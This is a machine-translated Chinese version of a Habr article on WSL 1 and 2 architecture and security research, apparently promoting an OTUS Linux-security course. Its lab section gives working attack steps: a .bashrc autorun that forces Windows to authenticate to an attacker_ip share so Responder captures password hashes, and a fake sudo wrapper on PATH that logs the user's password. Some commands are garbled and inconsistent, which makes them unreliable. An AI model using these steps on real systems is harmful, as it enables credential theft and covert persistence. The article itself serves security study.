WSL 實驗。 第1部分

你好,哈布爾! OTUS 於 XNUMX 月推出新課程 《Linux 安全》。 在課程開始之際,我們與您分享一篇由我們的老師 Alexander Kolesnikov 撰寫的文章。

WSL 實驗。 第1部分

2016年,微軟向IT社群推出了新的WSL技術(WINDOWS S子系統 Linux),這在未來使以前不可調和的競爭對手團結起來成為可能,這些競爭對手正在為普通和高級作業系統用戶(Windows 和 Linux)的普及而奮鬥。 這項技術使得在 Windows 環境中使用 Linux 作業系統工具成為可能,而無需運行 Linux,例如使用多重開機。 在 Habr 上您可以找到大量描述使用 WSL 好處的文章。 然而,不幸的是,在撰寫本文時,在此資源上尚未找到有關這種作業系統共生的安全性的研究。 這篇文章將試圖糾正這個問題。 本文將討論 WSL 1 和 2 架構的功能,並研究使用這些技術對系統進行攻擊的幾個範例。 本文分為 2 部分。 第一篇將提供Linux和Windows的主要理論攻擊方法。 第二篇文章將涉及設定測試環境並重現攻擊。

WSL 1:架構特徵

為了最準確地深入了解 WSL 安全性問題,有必要確定與子系統實作相關的主要細微差別。 WSL 解決的主要使用者任務之一是能夠在執行 Windows 作業系統的主機上透過 Linux 終端機進行工作。 此外,所提供的相容性非常原生,Linux 可執行檔 (ELF) 可以直接在 Windows 系統上運作。 為了實現這些目標,Windows 10 中建立了一個特殊的子系統,讓您可以使用一組特定的系統呼叫來執行 Linux 應用程式 - 因此,我們嘗試在 Windows 上對應一組 Linux 系統呼叫。 這是透過添加新的驅動程式和新的進程格式來物理實現的。 從視覺上看,該架構如下所示:

WSL 實驗。 第1部分

事實上,與 Linux 作業系統的互動是透過幾個核心模組和一種特殊類型的進程 - pico 來組織的。 從上圖可以看出,在主機上的 Linux 執行個體上執行的進程必須是本機的,並且必須使用與常規 Windows 應用程式相同的資源。 但如何實現這一目標呢? 專案中 吊橋 Windows 的進程概念的開發提供了作業系統(取決於其版本)運行另一個作業系統的應用程式所需的所有元件。

請注意,所提出的抽象使得可以不關注作業系統(特別是 Windows),其中另一個作業系統的進程預計將啟動,並提出了一種通用方法。

因此,pico 進程內的任何應用程式都可以運行,而無需考慮 Windows 核心:

  1. 系統呼叫的兼容性和翻譯問題必須由專門的提供者解決;
  2. 存取控制必須透過安全監視器來完成。 監視器位於核心中,因此 Windows 需要以新驅動程式的形式進行升級,以充當此類進程的提供者。 原型 pico 流程示意如下:

WSL 實驗。 第1部分

由於 Linux 檔案系統使用區分大小寫的檔案和目錄名稱,因此 Windows 中新增了 2 種類型的檔案系統來與 WSL 配合使用:VolFS 和 DriveFS。 VolFS是Linux檔案系統的實現,DriveFS是一個根據Windows規則工作的檔案系統,但能夠選擇區分大小寫。

WSL 2

WSL 1 有許多限制,不允許它用於解決最大範圍的任務:例如,它不具備運行 32 位元 Linux 應用程式的能力,並且無法使用裝置驅動程式。 因此,2020 年,WSL 2 發布,改變了子系統的建置方法。 WSL 2 是一個最佳化的虛擬機,與 WSL 1 的資源消耗特性相符。 現在,根據Windows作業系統使用者解決的問題,您可以選擇所需的Linux子系統版本。 為了緩解可能存在的漏洞,WSL 2 是基於 Windows 10 中的 Hyper-V 實現的。在這種形式下,Windows 具有隔離運行 Linux 作業系統核心的能力。 值得記住的是,WSL 的第 1 版是作為測試版功能引入的,旨在展示 Windows 在該領域的開發方向,因此向 Hyper-V 的過渡是不可避免的。 最終的架構如下圖所示:

WSL 實驗。 第1部分

在這個版本中,Windows和Linux核心擁有各自的資源,交集僅存在於檔案系統中,但這種交集並不完全。 檔案系統之間的互動是透過使用 9P 協定工作的客戶端-伺服器包裝器來執行的。

今天,Microsoft 提供了在 WSL 1 和 WSL 2 之間切換的功能。兩個版本都可用。

WSL安全

目前,有幾篇著作描述了使用合法作業系統工具攻擊子系統之間通訊的一些方法。 在撰寫本文時,我們將使用他們的腳本來檢查攻擊的相關性。 攻擊和場景的一般列表:

1. 檔案系統實作:存取權限、共用目錄/資料交換機制的可用性。

進行研究以確定違反訪問規則的行為 Linux FS->Windows FS、Windows FS->Linux FS。 研究已經證明了在目標作業系統中修改給定檔案的能力。 也嘗試替換、建立副本和刪除部分檔案系統。

設想:

  • A. 來自 Windows 作業系統的攻擊 - 修改 Linux 作業系統的 /etc 目錄中的檔案。
  • B、來自Linux作業系統的攻擊-修改目錄中的檔案: C:Windows, C:Program Files, C:Users<User>

2.網路堆疊的實作。

該研究是使用 Windows 上的 Linux 作業系統的攻擊範例進行的。 利用了網路堆疊的特性,即對各種資源的身份驗證機制。

設想:

  • 開啟對Windows系統上被佔用的連接埠的訪問
  • 在沒有適當權限的情況下開啟端口
  • 在Windows作業系統上使用elf檔案運行反向shell。

3.使用WSL子系統隱藏惡意軟體進程的啟動。

該研究基於一個簡單的事實 - 在 WSL 1 的情況下,安全子系統無法攔截使用作業系統中的合法提供者工作的另一個核心中的事件。在 WSL 2 的情況下,無法查看發生的事件在輕量級虛擬機器內的單獨核心中。

設想:

1) 啟動應用程式以遠端存取系統並查看記錄的事件。

WSL 1 實驗:哈希攔截(Windows)

最後我們進入了實踐部分。 首先,您需要設定測試環境。 所有實驗均在安裝了 Windows 10 2004 的實驗台上進行,選擇 Ubuntu 18.04 映像作為 WSL 的作業系統映像。 該圖像是隨機選擇的,任何其他圖像都將具有相同的效果。 設定支架的命令:

您必須先啟動 powershell.exe 作為管理員。

對於 WSL 1,您需要執行以下命令:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • 重新啟動支架後,您可以呼叫 bash 命令。 如果一切正常,您將在 Windows 控制台中看到類似以下的輸出:

    WSL 實驗。 第1部分

    我們將使用 Kali Linux 發行版作為攻擊者的機器;所有機器必須位於同一本地網路上。

    假設我們在 Windows 電腦上擁有對 WSL 的無特權存取權。 讓我們嘗試透過從 Linux 呼叫命令來攻擊 Linux 作業系統。 為了實施攻擊,我們將使用簡單的自動運行技術 - 我們將添加腳本以在 Linux 環境中執行。 為此,您需要更改文件 .bashrc.

    在具有 WSL 的機器上我們執行:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    在 Kali Linux 機器上我們運行:

    1. Responder -I eth0 -rdvw

    在 Windows 機器上,讓我們啟動 bash。

    我們正在 Kali Linux 機器上等待結果:

    WSL 實驗。 第1部分

    這樣,我們就在Linux系統上執行指令,透過WSL子系統取得了Windows使用者的雜湊值。

    WSL 1實驗:取得使用者密碼(Linux作業系統)

    讓我們再做一個實驗。 在此檢查期間,我們將新增到文件中 .bashrc 幾個命令以獲取Linux作業系統用戶密碼。

    讓我們啟動 bash 並輸入指令:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    為了成功完成攻擊,使用者Sam需要在Linux終端機中呼叫sudo。 之後,Linux作業系統使用者密碼將在該檔案中 pass.txt:

    WSL 實驗。 第1部分

    攻擊的實施僅提供理論資訊。

    本文的下一部分將描述 9P 協定的實現,考慮為該協定建立掃描器,並使用它進行攻擊。

    使用文獻清單

    WSL 實驗。 第1部分

    閱讀更多

    來源: www.habr.com

    添加評論